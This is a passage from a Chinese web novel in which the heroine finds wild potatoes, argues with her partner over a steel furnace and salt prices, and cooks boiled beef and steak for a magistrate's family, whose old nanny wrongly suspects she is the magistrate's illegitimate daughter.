不怪刘青青偏心,棉花黑炭不挑食,只要是肉食,给什么吃什么,不像家里的那两赖皮虎,放点辣椒就闹脾气,睡在地上打滚。 两只趴在地上,一面吃牛肉,一面嘻哈嘻哈的舔着小牛奶,半眯着眼睛,摇头晃脑的表示满意。 棉花黑炭风卷残云的般的吃完,一篮子食材全部见了底。 刘刘青青逗着棉花黑炭绕着大树玩儿消食,郭守云收拾残局,他捧着芭蕉叶舀来水将火堆全部扑灭,铁丝网竹签刷洗干净塞到篮子里。 看到一旁的已经焉巴了的枝叶,他高声询问:“阿青,黑炭给你的花还要么?” 玩耍中的刘青青脑袋里亮了一下,一蹦三尺高。 她一把褥住黑炭的耳朵,因为太激动,黑炭疼得嗷呜喊起来。 刘青青连忙松开手,给它揉了揉:“乖狗狗,告诉我,花儿哪里来的?” 黑炭被它揪怕了,耷拉着耳朵呜呜呜控诉,好似再说她不讲武德,委屈躲到郭守云身后。 刘青青焦急的去挣它的尾巴,黑炭越发怕,呲溜一下,钻到丛林里。 她还要去追,被郭守云拉住:“你先别着急,告诉我怎么了?” 刘青青看着面前的人,少年已经对他高出半个头,俯视着她的眼神,清澈透亮,好像要看到她心底最隐蔽的角落。 她咬着唇,支支吾吾不知道从何处开口。 她能怎么说? 难道要告诉他,她怀疑,黑炭带回来的枝叶是正在开花的土豆,是亩产上千公斤的粮食,能作为百姓主粮的作物。 她从来没见过这东西,该怎么解释。 她还没想好编个什么样的借口,郭守云约摸猜到了一二,笑道:“可是那种植株很重要,你在哪本杂记里看过?” 刘青青暗暗的舒了口气,忙不矢的点头。 转过身的郭守云眼睛暗淡了下来,袖子里的手指紧紧地捏着。她还是没有全新全意信任他呢,没关系,他会努力,努力念书,变得强大,成为刘家的依靠,到那个时候,她有了安全感,肯定会告诉他一切。 郭守云嘴巴微撅,发出呜呜呜嗷的声音,缩在树后面的黑炭探头探脑,离得远远的淘了淘黑爪子,示意他们跟上。 黑炭棉花在前,不时嗅嗅鼻子辨别方向,走走停停约摸半个时辰,终于转到了一片小山坡上。 找到地方的棉花黑炭立马瘫在地上,可累死两只狗了。 采叶子的时候,顺路用嘴一拽,根本没记路,幸好鼻子灵敏,找到了,不然,惹了刘青青不高兴,回去得被郭守云狠狠惩罚。 这里约摸百多株开满小花的绿色齐膝高植株,舒展着叶片,在阳光下熠熠生辉,微风一吹,沙沙作响,好似在对她们说,你好哇! 刘青青趴在地上,抖着手小心扒拉开最近一颗植株的根部,黑褐色的土地下躲着蚕豆大小的黄皮果实,圆头圆脑像个小鸡蛋,她激动得哈哈笑了起来。 真的是土豆。 她原本以为西洋才有的土豆,竟然出现在这里,许是路过的鸟儿吃下了土豆的种子,恰好拉在这一片山坡上,经年之下,长出了这么一片,机缘巧合,竟然被她发现。 棉花黑炭才是老天的亲儿子,随便来采片叶子,竟然找到了可以作为主粮的土豆。 南安府的百姓,也可以像清水沟的百姓一样,吃饱穿暖了。 作为大功臣的黑炭,被她搂在怀里又搓又揉:“好乖乖,回去给你吃鸡腿,不辣那种哦!” 刘青青将土又埋了回去,土豆还不成熟,不能挖。她恨不得立马弄个保护罩,将这一片小山坡给罩起来。 这片地是府学的私产,这个不好操作啊! 郭守云脑子一转,便晓得她在担心什么:“我每日要晨起读书,会注意这里,不让人来破坏!” 刘青青不放心:“不行,人不来,还有些小动物,兔子啦,田鼠呀,它们鼻子尖着呢,要是把土豆都偷走了,一切都完了!” 都说兔子喜欢吃胡萝卜,其实,兔子还喜欢啃土豆,因为淀粉含量高,很有饱腹感。 她看了看身边的棉花黑炭,咬牙道:“让棉花黑炭在这里轮流守着。” 郭守云挑挑眉,表面上她对棉花黑炭很凶,对碰碰瓷瓷嫌弃得不要不要的,其实看得像亲人一般,去到哪,棉花黑炭都要带到哪。 更是不放心碰碰瓷瓷它们单独外出,生怕被人捉了去,同意盖新房的很大原因便是为了弄一个大院子,好让棉花黑炭碰碰瓷瓷撒丫子跑。 现在竟然舍得将棉花黑炭放在这里守着,说明这个叫土豆的东西,非常重要。 他点点头:“放心吧,我会照看好棉花黑炭和这片地的。行,我先送你回去,大妞还在外面等着你呢!” 一路上,刘青青左右交代,务必要看好那片地,只要过些日子收获后,便可以在清水沟村大肆培育。 回到青华园的刘青青一拍脑袋,因为土豆的事情,竟然忘记和阿云商量地图怎么办,行吧,先放一下。 她收好地图,张和正好找来,暴躁的摇着扇子:“你说的那个高炉,行不行啊,年前到现在,砸了六万两银子进去,水花都没冒一个,这个项目,要不撤掉罢!” 他说的是炼钢炉。 青华园平均利润在一万两一个 月,腊月正月年关,利润更大,刘青青抽调大部分的银钱,砸到铁作坊里去。 她要的不是和外面一样的粗铁,而是精铁和钢铁,炼钢需要盖炼钢炉,末世的时候,课本上大致的介绍了方向,她不懂其中的细节,只能高薪寻来工匠,不停的砸钱试验。 张和支持她,是因为她能给他带来利润,郭守云支持她,是因为,她是她。 这便是两者的区别。 所以,张和是商业合伙人,郭守云才是她的伙伴。 作为股东,张和有权利建议青华园的投资项目。 不过,刘青青非常强势,她看着张和,不容置疑道:“这一项目必须执行下去,不论是六万两,还是六十万两,我都要干下去,若你不愿意,可以退股!” 第144章 第144章水煮牛肉 张和沉默了,他哪里舍得退股。 总共投入两万两,过年的时候便领了五千两的分红,看着青华园越做越大,这就是一颗摇钱树。 他讪讪的挤出一丝笑,低头道:“莫要生气,我不过建议一下。” 转开话题:“好些大盐商找到我,想大规模购入我们的精盐,要不要签约?” 青华园的井盐洁白如雪,细腻如沙,纯粹的咸味,做出来的菜别具一番风味,其他府的盐商闻风而动,赶来购买。 盐商购买不同于零售,价格压得低。 刘青青手指头在桌子上敲了敲:“我们精盐耗费不少本钱才提炼出来的,价格一文不少,他们愿意买便卖,不愿意买便罢。” 张和欲言又止,零售粗盐卖供不应求,但精盐价高,仓库里攒了很多。 刘青青好似他肚中的蛔虫,轻飘飘瞥他一眼:“我已经让人将精盐收藏在坛子中,蜡封起来,不会受潮。” 若她是青华园的董事长,决定了青华园的走向的话,张和便是总经理,具体执行她的每一项决措,她揉碎解释道:“你莫要担心我们的精盐卖不出去,是因为我们才开始售卖,口碑还未打出去。 注重口欲享受的豪门贵族还没发现我们精盐的妙处,若现在降了价,以后价格便提不起来。” 盐井是刘家盖新房发现的,盐引是刘青青找薛文豪用制冰秘诀和粽券交换的,所以,刘青青将盐井算成刘家的私产。 以市场价的一半卖给青华园,青华园作为第一手经销商,售给南平府的百姓,或者其他州府的盐商。 张和对于不能把盐井归到青华园产业内,有一点不甘心,转而想到,刘青青从来没要求他把红酥手并入青华园名下,便释怀了。 另外一个大股东卢雪樵,正在中枢和朝臣打嘴仗,从不干预青华园的决策。 刘青青语重心长对张和再次强调对青华园的定位:“我们青华园是集吃喝玩乐为一体的大型杂货铺子,我们要收集整个南安府的特产,卖到全大赵,不要想着把控每一样商品。 让整个南安府下辖的十个区县,都成为我们的供货商,才是我们要做的事情。” & 次日,刘青青正在梳洗,伙计来禀告,温如初带着史居正和一家子,已经到了大门口。 她连忙去迎接问好,杨雪眉亲切拉着她笑道:“好久不见,你又长高了些! 来府城好几个月,最近几日才把行礼归拢好,今日大人休沐,正好一起来闹你。” 温一鸣兄妹两小大人般一板一眼行礼:“青姐姐好!” 温如初领着史居正在一旁笑而不语。 对于温家的有意亲近,刘青青乐见其好,任其自然。 温一鸣和温一和初次来青华园,对什么都好奇,眼底全是跃跃欲试,刘青青抿嘴笑了下,喊来表哥刘瑞和表妹宝珠儿,领着她们去游玩。 待她们走远,几人便坐在湖边的凉亭里,一面煮茶,一面商量着对南平府的规划。 妻儿不在身边,温如初露出一身的疲惫:“我只道常平县百姓日子艰难,想不到,其他县更甚之!” 史居正捂着胡须叹道:“青姑娘你不晓得,我们大人这段日子悄悄将治下各个县城走了一遍,除了我们常平县百姓能吃饱外,其他县区的百姓,大部分衣不裹身,食不裹腹,甚至还有一家子只穿一条裤子的,吃的更是米糠拌野菜。 现在是夏天,天气炎热,若是到了冬日,草木枯黄,无野菜下锅,无冬衣暖身,得冻死多少人啊!” 温如初愁眉不展,升职的欢喜被肩上的重担压得喘不过气。 刘青青沉默了,她有心安慰两句,但这个话题实在太沉重,不知道该怎么开口,干脆闭口不言。 温如初揉了揉发疼的眉间,挤出一丝笑道:“幸好在你的推动下,常平县都种了棉花,产量足够至少能让南平府大部份百姓,穿上厚实的冬衣!” 刘青青张了张嘴,还是忍不住泼了盆冷水:“大人,到时候难道直接征用常平县的棉花吗?这样不太妥当罢。” 百姓冒着风险,将一半的稻田改种不熟悉的棉花,一方面是信任刘有山的推广,另外一方面棉花价格高昂,希望通过种植棉花大赚一笔,多攒一点压箱钱。 若到时候府衙出面征用,或者低价收购棉花,常平县的百姓,还有什么盼头,到了后面,谁还相信官府的话。 温如初在常平县多年爱民的名声,便毁于一旦。 史居正叹气:“这有什么办法,难道眼睁睁看着其他县区的百姓冻死么?” 刘青青掷地有声:“您这是自毁信誉。其他县区的百姓是您的子民,常平县难道不是么?” “其他县区的百姓困苦,我们应该帮着他们寻找生钱的办法,授之于鱼,不如授之于渔!” 温如初苦笑着。 史居正解释:“你说的,大人何尝不知。” “我们走访了其他九个县区,不像我们常平县这样,好歹有条清水河,灌溉作物,至少饿不死。通过雇佣人力修渠,拉动经济,其他县,只剩下一条泥泞的官道通向府城,老百姓日日守在田埂上,祈求老天爷保护。若雨水少了,或者多了,粮食减产,肚子都吃不饱,” “像那个常山县,住在高山上,作物全靠人力从山脚的小溪担水浇灌,日子过得苦哇!” “也有几个县份,大山里生长和我们常平县一样味美的菌子,只能脚力背着送到府城,因路上耗时太多,菌子坏了,含泪扔掉。” 刘青青喃喃道:“要致富,先修路,古话城不骗人!” 听到她的嘀咕,温如初苦笑:“谈何容易,还有常索县,来府城必须穿过一个深深的峡谷,若不然,便要绕上百里的山路。县城的百姓,吊在一根索道上,穿过峡谷划过来,这样的地方,如何铺路啊!”’ 他也有幸感受了一回高空索桥,和青华园的不一样。 青华园高空索桥下面有防护网,常索县那个只有一根链条连接峡谷两侧,过往的行人自带一个滑轮,滑轮下绑一个包袱皮,行人坐在包袱皮上,将滑轮扣在链条上,靠着双手慢慢抓住链条划过去。 因为危险,大部分的百姓,一辈子没出过常索县。 刘青青沉默半响,因土豆的事还没影子,也不敢打着包票保证。 图纸上标注的三个铁矿,方别在下面的三个县里边,她需要去验证一番,干脆开口道:“要不,我们把阿云带上,一起再去仔细走访一遍,看看,能不能在各县开几个作坊,就地收购菌子加工后,再运出来?” 温如初和史居正对视一眼,他们今日来,便是打着劝说刘青青的青华园去各地收购特产,现在刘青青主动去考察办作坊,倒让他们觉得不好意思起来。 因交通不便,作坊制作出来的特产,运出来便是一大笔费用,根本赚不到多少钱。 温如数讪讪道:“也不好叫你做贴本的买卖,府衙能做什么,你只管开口!” 刘青青笑而不语,能做的多了,现在还不是说的时机。 谈完正事,刘青青笑道:“您们劳累了这么些日子,不妨去湖上钓鱼煮茶松乏松乏,我去弄两道新菜给您们尝一尝。” 解决了心头的大山,黑瘦了一半的温如初微微松了口气,才有闲情逸致,和史居正两人,在船头下棋。 来到厨房的刘青青大约瞥了一眼,清水沟村今早又送来一头宰好的牛,她提起刀,顺着牛脊椎,将最嫩的四公斤牛里脊全部取下来,牛里脊是牛身上最嫩的一块肉,适合给小孩子吃。 约摸三百公斤的大黄牛,才切出四公斤的里脊肉,出产相当的低。 她一面感叹一面用尖刀,将牛肉上的筋膜全部挑走不要,只留下纹理分明的红色肉块,再用干棉布吸干净水分。 今日的客人温家一家,温大人和史居正喜好味重的,最好能下酒,温一鸣和温一和,小孩子肠胃弱,只可以弄一点清淡的,她立马便决定做两样菜。 刘青青把牛里脊切下三块,留着准备给杨雪眉母女做一 个牛排,剩下的弄一个水煮牛肉片,给温如初和史居正下酒。 牛里脊按着肉的纹理,横断切成大大的薄片,先用清水洗干净血水,用绵纸洗干净水分,然后加入清河沟盐井调制的淡盐姜葱水,一点米酒,撒一点胡椒粉,然后不停的拍打,直到姜葱水全部被牛肉吸收进去。 然后打入一个鸡蛋清抓匀,倒入淀粉上桨,最后舀入两勺香油拌匀,放油的目的是为了将水分紧紧的锁在牛肉里,煮出来的肉牛才会嫩滑多汁。 调制好的牛肉需要腌制一刻钟。 趁着牛肉腌制的时候,刘青青指挥,厨娘操作。 首先将锅烧热,加入鲜花椒炒干再晾凉,倒入石臼中现舂成粉末。 锅底烧油,加入辣酱炒香,放入盐巴姜片蒜米香叶调味,浇入一勺高汤,等汤汁沸腾后,盛起一半,剩下的放入洗好的黄豆芽,翠嫩的莴笋,雪白的嫩豆腐,煮熟后装盘。 剩下的半锅汤汁,爆火烧开,放入腌制好的牛肉片,变色就用漏勺捞起来,码放在适才的蔬菜碗里。 在牛肉堆上撒上蒜末,舂好的花椒面,葱花。 锅里再次烧热油,加入辣椒面花椒粒炒香,然后一锅浇在牛肉上。 瞬间麻辣鲜香便充满整个厨房。 等她将满满一盆水煮牛肉端到桌子上的时候,宝珠儿已经将大伙带到餐桌前坐好。 每人一碗碧油油的珍珠米饭,便可以开吃了。 至于两个小孩,刘青青变戏法一样,又端出两个雪白的碟子,上面整齐的码着,一片片煎熟切割好的牛排。 第145章 第145章怨恶 牛里脊是牛身上最嫩的肉,除了用来做水煮肉片之外,还可以做菲力牛排。 刘青青先在牛排上些微涂抹了一点精盐和胡椒粉,锅里放入少许黄油,将牛排下锅煎至变色,然后翻到另外一面,继续煎,直到六面都变色为止。 煎好的牛排起锅,因为给两个小孩子吃的,刘青青体贴的帮他们切成大小均匀的片,按照原来的形状,错落有致摆好。 切开后的牛排,外层是微微发焦的咖啡色,里头处在刚好变色的血红色,从外至里,颜色由粉红渐变成深红。 刘青青没有发现番茄的影子,不过南安府有一种树酸汤果,约摸乒乓球大小,野外遍地都是,一年四季挂在树梢,味道酸中带涩,颜色或黄或粉。 成熟的酸汤果从树上自然落下,柔软多汁,和番茄大差不离。刘青青干脆叫它树番茄,其他人也跟着这么叫了起来。 刘青青采了几个树酸汤果,在火上烤熟,其中的涩味因高温而消散,只剩下酸甜。 她小心的把裂开的皮剥掉,将果肉压在锅里捣碎,加入黑胡椒、迷迭香调味。 将调好的酱汁浇在牛排上面,在一旁添几缕蝴蝶面,烫好的秋葵横切成镂空的绿五角星,胡萝卜切成丝,码放在一边。最后在叠上一个金黄色的煎蛋。 雪白的长瓷里,一边是冒着特殊香气的肉块,另一边是五颜六色的蔬菜蝴蝶面,才端上餐桌,立刻受到了温一鸣和温一和的喜爱,两个孩子矜持的道谢,得了杨雪梅的允许,小心的用叉子插肉快吃。 肉块鲜嫩多汁,柔软细腻,微微的酸甜中带着牛肉特有的香,那是一种异域风情味道。 两个孩子满意的开吃后,大家伙将视线落在圆桌中间的菜盆上,虽然只有一个菜,但一个菜就是一盆。 犹如脸盆大的雪白大瓷汤盘里,油汪汪冒着浓烈的呛香,红汤上面点缀几粒清脆的香葱,雪白的芝麻米,不时有翠绿的莴笋,圆溜溜的鹌鹑蛋,细长的豆芽露出半个身子。 光是颜色就勾得人移不开眼,不停的咽口水。 刘青青招呼大家入座,谦虚道:“我手艺不如阿姊,大家今天将就着吃些,过些日子阿姊来了,让她给大家重新做!” 温如初和史居正因经常在外走访。在老乡家,黑面疙瘩也曾吃过。 南安府不讲究上京那些餐桌上的繁文缛节,客人吃得越多,主人家越开心,和刘青青客气了两句,熟练的撩起袖子,夹了一筷子到碗里,稀里哗啦吃起来。 杨雪眉首次遇到这种,一家子吃一盆菜的体验,有一点不自在,还有些新奇,不知道该如何下手。 她身后伺候的温嬷嬷忍不住戚眉。 忒,青华园的小丫头忒不懂事,竟然只做了一盆菜,自家夫人食不厌精脍不厌细,如何吃这种贫民一锅炖的东西? 她走上前要帮着布菜,杨雪眉摆摆手,示意她一边候着。 学着温如初的样子,捡起公筷,夹起了一块肉片。 咖啡色的肉片战巍巍的立在筷子尖,她小心的操控着公筷,将肉片放到自己碗里,才用私筷夹起,试探的放到了嘴里,立刻惊喜的睁大了眼睛。 弹韧滑润,鲜美多汁,牛肉特有的风味,在麻辣的激发下,散发出最浓烈的香。 鲜香嫩滑麻辣烫,七种味道在舌尖爆,让她立马红了脸,汗湿了额头,实在——太过瘾了。 见她左右张望,温嬷嬷贴心的递上手绢,压低声音道:“您吐出来就是。” 语气里全是对这盆菜的嫌弃和不满。 杨雪眉接过手绢擦了擦额头分泌的汗珠,激动道:“嬷嬷,这个牛肉,比您做的味道好多了!” 打算奚落一番水煮肉片的温嬷嬷:“……” 杨雪眉急切的看着刘青青:“阿青,还有么,能不能让嬷嬷也尝一尝?”温嬷嬷是丈夫的奶嬷嬷,一直陪在他们身边,被她长辈一样敬着。 温如初心大,没感觉其中的差别,温嬷嬷不禁挑了下眉头。夫人一开始称呼刘青青为青青姑娘,现在变成了阿青,这亲近之意,是个人都能感受得出来。 刘青青似笑非笑的看了一眼温嬷嬷:“自然有的!” 用汤勺添了一碗递给她:“嬷嬷放心吃吧,这个菜要自己动手夹着吃味道才好!” 温如初从碗中抬起脸,夹了一筷子肉给杨雪眉,笑道:“嬷嬷歇着就是,这里有我们呢!” 温嬷嬷看着坐在一起的刘青青和温如初,另外一边嘴里塞着肉的温一鸣温一和,四人用同款杏眼看着她,不知怎么的,有一种他们才是一家人的感觉。 温嬷嬷心头一窒,她一定是老眼昏花,才会有这样错觉。 她接过碗,福了福便退了下来,在出门的时候,忍不住再次折身看了一眼。 不是她老眼昏花,四个人真的长了一模一样的杏眼。 温家的杏眼遗传了老夫人的,和其他人家的杏眼不一样。温家人的杏眼眼角微微翘起,带了自然的弧度,形成漂亮的双眼皮,让人倍感亲切。 不会有错,这个刘青青是温家的种。 仿若被晴天霹雳劈中,将她雷得外焦里嫩,变成了雕像。 这个刘青青,难道是大爷的私生女! 温嬷嬷看了一眼兀自乐在其中傻吃的杨雪眉,心中一片怜惜,夫人不远万里,陪着大爷远离父母,颠簸吃苦,为大爷操持内务,生儿育女。大爷竟然作出了这样的事,私生女竟然比一鸣还大。 难怪大爷对这个刘青青另眼相看,自己的亲生女,能不另眼相看么! 温嬷嬷几乎咬碎一口银牙,恨没看守好大爷,让他被外面的贱蹄子迷了眼。 她狠狠瞪一眼温如初,不晓得这个昏了头的大爷,将那个贱蹄子藏到了哪里?她脸一阵红一阵白,愁眉不展,端着碗出了门,坐在外面的小板凳上,愁绪万千。 心不在焉尝了一口碗中的肉片,立马被其中的麻辣鲜香嫩震住了,越发唉声叹气起来,好个大爷,为了让刘青青被夫人接受,竟然弄来了牛肉给她做脸。 朝廷保护耕牛,世面上几乎买不到。有牛肉打底,这顿饭不算敷衍,相反,算是一等一的席面,在上京也拿得出手。 刘青青一个小丫头,哪来的能耐弄牛肉吃,肯定是大爷千方百计弄来,为她做脸,讨好将来的主母杨雪眉。 她紧紧捏着拳头,有她在一日,刘青青休想认祖归宗。 温嬷嬷发狠似的将碗里的菜吃个一干二净,好似吃的不是菜,而是刘青青身上的肉,虽然心里怨恨,但是不得不承认,这道菜,确实比以往吃过的菜都要味美。 不提温嬷嬷在外面心思百变,里头几人宾主俱欢。 除了牛肉,下面还有许多配菜。 脆黄的豆芽,嫩绿的莴笋,碧绿的生菜,细腻的鹌鹑蛋…… 吃了三碗菜,再添半碗碧油油的珍珠米饭,浇上一点水煮肉片的汤汁,那种混合着各种蔬菜香味的米饭,让杨雪眉一不小心就将米饭吃完了。 要不是她实在撑不下,还能再吃一碗。 她不好意思的擦了擦油汪汪的嘴,实在太失态了。 心虚的瞟了眼周围,幸好,餐厅内只有他们几个人,儿子女儿已经吃完肉片,正在对着蝴蝶面奋斗。 自家丈夫和史先生正吃干着第三碗呢。 而刘青青已经端来饭后小点,竟然是一颗颗颜色鲜艳的圆球球。 三个圆溜溜的淡粉色球球,摆在雪白的瓷盏中,上面还点缀 了一个个红艳艳覆盆子,让人大汗淋漓的瞬间,立马感受到了丝丝凉意。 遇仙楼炒上天限售的冰点,这里竟然也有,而且更漂亮,味道更丝滑冰甜。 天黑的时候,温一鸣和一和尽兴玩了一天,累得爬上马车便呼呼大睡。 杨雪眉拉着刘青青的手,很是不舍:“阿青,你得空了一定要来家里玩儿!”她退下脖颈上的五彩璎珞,套在了她头上。 身后的温嬷嬷惊呼一声。 璎珞是温家人独有的,每个主人人手一串,夫人不知情之下,竟然给了这个孽种。 越步出来正要开口讨回来,杨雪眉厉声打断,打发到车里看孩子。 杨雪眉拉着刘青青,歉意道:“孩子今日吃得多,她心里焦急,对你多有迁怒,你莫要计较!” 她其实准备了一只长命锁作为见面礼,只是,看着人家对温家的款待,又是亲自下厨,又是新奇的吃食,定然花了无数的心思,那只银锁实在拿不出手,只有脖颈上的璎珞才不算失礼。 送走温家的马车,刘青青眼底闪过一丝不解,这世界上没有无缘无故的爱,也没有无缘无故的恨,那个温嬷嬷看她的眼神,怨恶中带着防备,也不知道是为什么? 不过一个不相关的外人,她又不是银子,人人喜爱。 她暂时将此事撩开手,因为,郭守云得了她的口信,回来了。 等他换洗衣裳的功夫,刘青青去厨房,将留着的生肉,快速的做出一份新鲜出炉的水煮肉片。捡了个空碗陪着他一起吃。 郭守云夹了一块肉给她,然后才端起饭碗吃起来:“可是有什么事?” 他得了口信,马不停蹄的赶回来,确实饿了。 刘青青为难道:“我打算跟着温大人,顺着走一走南安府的其他县份,看看能不能帮着这些地方的百姓,将日子过得好一些。” “这段时日,你辛苦一些,早晚回来,处理一下园里的事物!” 第146章 第146章质问 郭守云觉得,嘴中滑嫩的肉片瞬间不香了,他放下手中的筷子,用的是陈述句:“我与你们同去!” 刘青青咻的坐直了身子:“胡闹,你学业正式要紧的时候,如何耽搁!” 好似觉得自己语气太过生硬,她声音放软了一些:“你放心,温大人除了带着我和史师爷,另有十名好身手的衙役尾随,不会有麻烦的!” “而且,若你也走了,府城这一摊子怎么办?特别是府学里的那些土豆苗,正是青黄不接的时候,我还等大丰收呢!” 郭守云还要再说,被刘青青打断:“就这样吧!等你吃完饭,我和你理一理这些时日青华园的事务,大部分张和会处理,你只要负责大方向的决策就是!” 郭守云抬眼看见她一脸的坚决,无奈闷闷的嗯了一声。 劝服了郭守云,刘青青心情大好,掏出收藏的羊皮地图,显摆道:“你看,棉花黑炭从垫窝棚的大裘里拽出来的,这几个字是常安县吧,小山上写的铁,是不是代表这里有铁矿? 其实此行,我也不是完全为了温大人,还为了我们自己。 橡胶园工匠已经盖起了不会炸的高炉,苦于买回来的铁矿石品质差,产出的铁器质量下乘,常安县若是真有铁矿,那便是新的,我们的铁器许能有质的提升。” 郭守云感受着她即将探索星辰大海的激动,嘴角微微勾了起来。 既然她要去,他帮着守护好后方便是。两人头挨着头看了一会地图,上面这三处的小山标着铁外,还有两个地方黑呜呜的画了一团,不知道是个什么意思。 两人猜测了一番不得其果,转过话题讨论着带去的行李。 出门在外,刘青青选用了不扎眼的粗棉长衫长裤,作男子打扮。郭守云帮她准备常用药剂——风寒风热拉肚子的,还有驱蛇赶虫的。 同样在收拾行李的还有杨雪眉,她忧心忡忡:“你一定要去么?”丈夫奔波了两个月回来那一天,她几乎没认出来,又黑又瘦,满脸的胡茬,一全身风尘疲惫,在家将养了半个月才看着顺眼了些。 两人才相聚,又要分离,温如初有点不舍:“刘青青有一双擅于发现的眼睛,带着她下去看看便回来。” 他握住杨雪眉的手:“你不知道,下面的百姓过得有多苦,七八岁的娃儿,瘦得皮包骨头,只剩一个头,还没有我们家一和高!” “还不是穷闹的,但凡多有一口吃的,谁舍得孩子饿成这样啊!” 他不说还好,一说,杨雪眉更是不放心,原来外面日子这样艰难。一颗心七上八下:“那你们此去,便是羊入虎穴,万一有那狼子野心的,把你们捉了去,如何是好?”一双美目泪光莹莹,盛满了担忧。 府城里有好多话本,讲述大山深处住着些红眼的远古野人,将误入的百姓捉去剥皮,风干后撒上佐料下酒喝。 温如初揽着她,失笑道:“哪里这么夸张,百姓们虽然穷苦,但民风淳朴热情,不会发生这样的事!” “不过刘青青一个女孩子,确实不方便,你让几个丫鬟赶工,帮她做几身小子的衣裳来,对外便称我们家儿子,免得有那不长眼的东西,冲撞了她。 小娘子喜爱的干粮,你也准备些!”他把刘青青完全当送财童女供着,务必要照顾好她的饮食起居。 两人商量了一回,温如初便去外书房忙碌自己的公务。 杨雪眉深知自己丈夫能快速的升迁,除了自身吃苦上进之外,还沾了刘青青的光。 刘青青推举种木薯,弄来高产的稻种,教百姓施肥,为农作物喷药,种植棉花,修建河渠……一桩桩一件件,让常平县百姓过上了家有余粮,欣欣向上的日子,丈夫的政绩薄上写得满满当当,从一干县令中脱颖而出。 对于刘青青,她是真心喜爱,准备起行李来百分百的上心。 这份上心,像锥子一样,把温嬷嬷扎得浑身发抖,她劈手抢过杨雪眉手中做了一半的细棉布里衫,深吸一口气冷哼道:“夫人,不过是外头的野丫头,糊弄着些就是了。给的太多,她得陇望蜀痴心妄想,巴着我们温家不放,怎么办?” 温嬷嬷是丈夫的乳母。 嫁进温家这么多年,在她有心经营下,两人相处融洽,这是第一次温嬷嬷严词厉色。杨雪眉有些不解,愕然了一瞬间后,还有一点生气。 刘青青是丈夫的仕途贵人,还是自己小金库的聚宝盆,在温嬷嬷眼睛里,竟然成了想嫁进温家的投机女。 上次去青华园她不分场合冷言风语,现在又用这样的言辞污蔑刘青青,岂能继续容她放肆得罪人! 她半劝半呵斥道:“嬷嬷说的什么话!阿青姑娘年纪小,也经不住这样的风言风语。再说她已经有了未婚夫,什么得陇望蜀,痴心妄想,嬷嬷以后莫要再提半句,没得丢人现眼! 说实在的,若她没订婚,我乐意上门提亲,那是我们高攀了她,就怕她看不上我们一鸣。 人家心中有大丘壑,开荒种田,改善民生,莫要用你半辈子在宅子里的方寸眼光去看待她!” 温嬷嬷委屈极了,连忙解释:“一个黄毛丫头哪来的这么大能耐,还不是大爷帮她做脸,她,她是冲着大爷来的!” 更加糊涂了,竟然把人家小姑娘往自己夫君身上扯。回想每次相处时,刘青青清越的目光,爽利的性子,杨雪眉越发羞愧,气得满脸通红。 她柳眉倒竖,啪的把茶杯重重的往桌子上一丢:“闭嘴!” 以杨雪眉温婉的性子,此话算是极重了,只差没指着温嬷嬷的鼻子骂她混账。 屋子里静悄悄,只听得见杨雪眉气得呼哧呼哧的粗重呼吸声。两个大丫头缩在角落里不敢吭声,眼观鼻,鼻观心当木头人。 温嬷嬷觉得茶杯不是丢在桌子上,而是丢在自己的脸上,火辣辣的疼。 想她伺候完老夫人,又带大了温如初,在温家,谁不尊称她一声嬷嬷。她一心为夫人着想,好心却被当做驴肝肺,没得到嘉奖不说,还挨了一顿羞辱,心里哇凉哇凉的。 耿着脖子气道:“老奴老眼昏花,伺候不了夫人,劳烦夫人打发人送我回京便是!” 杨雪眉傻了,不过说了句重话,嬷嬷便仗着是丈夫的奶嬷嬷,要回京告状来拿捏她。气得大口大口的喘气,犹如拉风箱一般。 旁边的双儿见势不妙,立马站出来嗤笑:“嬷嬷说笑话呢,你是老爷的奶嬷嬷,我们夫人尊着您还来不及,如何敢要您伺候。您想念京城里的亲友,想回去看看,不如亲自和大人说去?” 不等她拒绝,两个大丫头便连拖带拽,拱着她往前院寻温如初。 出行在即,留守的出行的签子的各种杂事让温如初忙得焦头烂额,恨不得一个人分成两辨,这个时候温嬷嬷哭哭啼啼寻来,他还当有什么事,吓得抽身折回后院。 双儿嘴皮子利落将事情一五一十说了一遍,两个丫头丢下温嬷嬷,借口后院还要和夫人一起收拾行李转身便走。 温如初黑着脸看着面前委屈的温嬷嬷,还不能恶言相向,按着突突跳个不停的太阳穴道:“嬷嬷,我待阿青姑娘,就如同看一鸣一和一样,你如何能有这样的想法!以后莫要再说这样的话。 既然嬷嬷想念母亲,我这就打发人送你回京。” 他不说还好,一说好似捅了马蜂窝,温嬷嬷哭得越发悲泣,她看四处无人,一面哭一面推心置腹骂道:“如哥儿,你是我从小奶大的,将你看得比眼珠子都重要。 我竟然不知道,你长了一副欺瞒人的肚肠,连我都要隐瞒。你偷偷藏了外室,生了刘青青这个孽障,悄悄替她铺路想让她认祖归宗,我替你打掩护,您竟然还要赶我走!” 外室? 孽障? 什么乱七八糟的。 温如初一个头有两个大,对着带大他的温嬷嬷,不敢爆粗,忍不住高声喝止:“嬷嬷莫不是中邪了,我这就去给你寻个大夫来扎两针!” 温嬷嬷拉着他的袖子哭辩:“刘青青生了我们温家才有的杏眼,你还不承认!” 看着被雷得呆呆的温如初,温嬷嬷隐隐胜券在握,露出一副为你好的模样:“如哥儿,听嬷嬷一句劝,趁早将她打发了,免得杨家知道闹和离,老太爷打断你的腿!” 温如初脑子里空了一瞬间,总算明白了前因后果。 因刘青青和他生了一样的杏眼,温嬷嬷便怀疑刘青青是他的私生女,从而不待见。 还在夫人面前说些颠三倒四的浑话,故意误导夫人,刘青青上赶着要给他当妾。夫人信任他的为人,恼怒之下,嫌弃嬷嬷风言风语,重重呵斥了几句。 嬷嬷便拿乔要回京。 啧,他们夫妻把嬷嬷当半个母亲敬着,却敬了个祖宗回来,什么事都要管一管。 若她真为温家好便罢,这是拿这点芝麻小事,来离间他们夫妻,两头讨好,这就不能忍了。 温如初冷冷道:“嬷嬷,天下之大,一模一样的人都有,何况仅是眼睛相似。 刘青青家住常平县平安镇清水沟村,户籍上清清楚楚写着呢,她出生的时候,我还在上京翰林院蹲着熬资历,如何生得了这么大一个私生女。 至于为妾不为妾的,这种话就是侮辱人。 人家未婚夫是今年县试的案首,府学里每次考试都得优等,等几年定然夺一个进士回来,两人只待年岁够了便成婚。 你更不要说她看得上我们家的富贵,这种让人笑掉大牙的话。” “整个南平府最赚钱的买卖青华园,便是刘青青一手办起来的,我上次亲自上门请求,人家才愿意同我们下乡。” 